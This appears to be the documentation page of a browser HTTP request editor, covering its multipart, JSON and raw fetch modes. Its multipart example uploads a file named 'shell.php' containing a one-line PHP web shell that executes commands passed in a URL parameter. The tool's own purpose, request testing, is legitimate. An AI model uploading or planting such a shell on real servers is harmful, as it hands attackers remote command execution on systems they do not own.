Request Editing
Basic mode
multipart/form-data
After changing enctype field to multipart/form-data
, you can put your payload into Body field such as the following:
------WebKitFormBoundarydbJBATDXCC6CL0lZ
Content-Disposition: form-data; name="user"
user
------WebKitFormBoundarydbJBATDXCC6CL0lZ
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-httpd-php
<?php passthru($_GET['c']); ?>
------WebKitFormBoundarydbJBATDXCC6CL0lZ--
We will consider the first line as boundary, and reconstruct a form element to send your request.
Therefore, sent boundary will not be the same as you typed.
application/json
After changing enctype field to application/json
, you can put your payload into Body field such as the following:
{
"username": "admin",
"password": "admin"
}
If your payload doesn't contain =
:
In order to post JSON data, we will insert a dummy field or object to your JSON such as the following:
{ "username": "admin", "password": "admin", "4dxnzjzd5mi": "=" }
For more details, please visit "Posting JSON with an HTML Form".
Raw mode
This mode is implemented via fetch
API. It will try the best to send a request as same as you typed.
However, there are some limitations:
Request
- It is unable to use a specified HTTP protocol version.
The protocol version is fixed to
HTTP/1.1
in the editor, but what version used in a request is up tofetch
behavior. - Some HTTP headers may appear in a sent request even if you don't add them in the editor.<br/>
e.g.
Connection
,Cache-Control
,Pragma
, etc.These headers will be assigned a default value. For example,
Connection: keep-alive
,Cache-Control: no-cache
.
Response
- [Chrome] It always shows
HTTP/1.1
if used protocol version is higher than or equal to HTTP/2.See also Chromium Code Search
Third-party Libraries

for details.
